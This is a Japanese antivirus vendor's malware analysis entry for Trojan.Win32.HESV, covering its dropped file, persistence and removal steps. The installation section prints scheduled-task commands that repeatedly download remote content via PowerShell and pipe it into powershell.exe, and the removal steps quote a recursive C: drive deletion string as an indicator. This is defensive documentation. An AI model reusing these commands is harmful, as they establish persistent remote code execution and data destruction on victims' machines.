解析者: Jayvee Mark Villaroman   

 別名:

UDS:Trojan.Win32.Hesv.gcyu (KASPERSKY)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
     

  • 感染報告の有無 :
    はい

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

  詳細

ファイルサイズ 4,955,648 bytes
タイプ EXE
メモリ常駐 はい
発見日 2023年2月14日

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

  • %Public%\tqxIxnrSieR8xOwj.zip

(註:%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。)

マルウェアは、以下のプロセスを追加します。

  • schtasks /Create /TN test /SC MINUTE /MO 15 /TR "powershell \"$r=[System.Net.WebRequest]::Create(\\"http://{BLOCKED}.{BLOCKED}.33.190/robots.txt\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\"" /f
  • schtasks /Create /TN test2 /SC MINUTE /MO 45 /TR "powershell \"$r=[System.Net.WebRequest]::Create(\\"http://{BLOCKED}.{BLOCKED}.132.91/robots.txt\\");(new-object System.IO.StreamReader(($r.GetResponse()).GetResponseStream())).ReadToEnd() | powershell.exe -noprofile -\"" /f
  • schtasks /Create /TN tqxIxnrSieR8xOwj /SC MINUTE /MO 15 /TR "explorer.exe %Public%\tqxIxnrSieR8xOwj.zip\tqxIx.exe" /f

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 18.260.01
初回 VSAPI パターンリリース日 2023年2月16日
VSAPI OPR パターンバージョン 18.261.00
VSAPI OPR パターンリリース日 2023年2月17日

手順 1

トレンドマイクロの機械学習型検索は、マルウェアの存在を示す兆候が確認された時点で検出し、マルウェアが実行される前にブロックします。機械学習型検索が有効になっている場合、弊社のウイルス対策製品はこのマルウェアを以下の機械学習型検出名として検出します。

    Troj.Win32.TRX.XXPE50FFF065

手順 2

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 4

スケジュールされたタスクを削除します。

Windows 2000、XP および Server 2003 の場合:

  1. Windowsのスケジュールされたタスクを起動します。
    [スタート]-[すべてのプログラム]-[アクセサリ]-[システム ツール]-[タスク]を開きます。
  2. スケジュール欄に以下の値がある該当タスクを指定します。
    • test
    • test2
    • tqxIxnrSieR8xOwj
  3. 上記タスク上で右クリックし、[プロパティ]をクリックします。
  4. タブ[タスク]の「実行するファイル名」欄に、以下の文字列を含むかどうか確認します。
    Cmd /c /rd /s /q C:
  5. 上記文字列が確認された場合、該当タスクを削除します。

Windows Vista、7、Server 2008、8、8.1 および Server 2012 の場合:

  1. Windowsタスクスケジューラ画面を開きます。
    • Windows Vista、7 および Server 2008 の場合:
      • [スタート]を選択し、[検索]欄に"taskschd.msc"と入力して、Enterを押します。
    • Windows 8、8.1 および Server 2012 の場合:
      • 画面の左下隅を右クリックし、[実行]を選択し、"taskschd.msc"と入力。Enterを押します。
  2. 左側のパネルで、[タスクスケジューラライブラリ]をクリック。
  3. 上部中央のパネルで、[トリガー]欄に値を含む各タスクを確認します。
    • test
    • test2
    • tqxIxnrSieR8xOwj
  4. 中央下のパネルの[操作]タブをクリック。[詳細]欄で以下の文字列を確認します。
    Cmd /c /rd /s /q C:
  5. 上述の文字列が確認される場合、該当のタスクを削除します。

手順 5

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。  %Public%\tqxIxnrSieR8xOwj.zip

手順 6

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.Win32.HESV.VSNTBB23」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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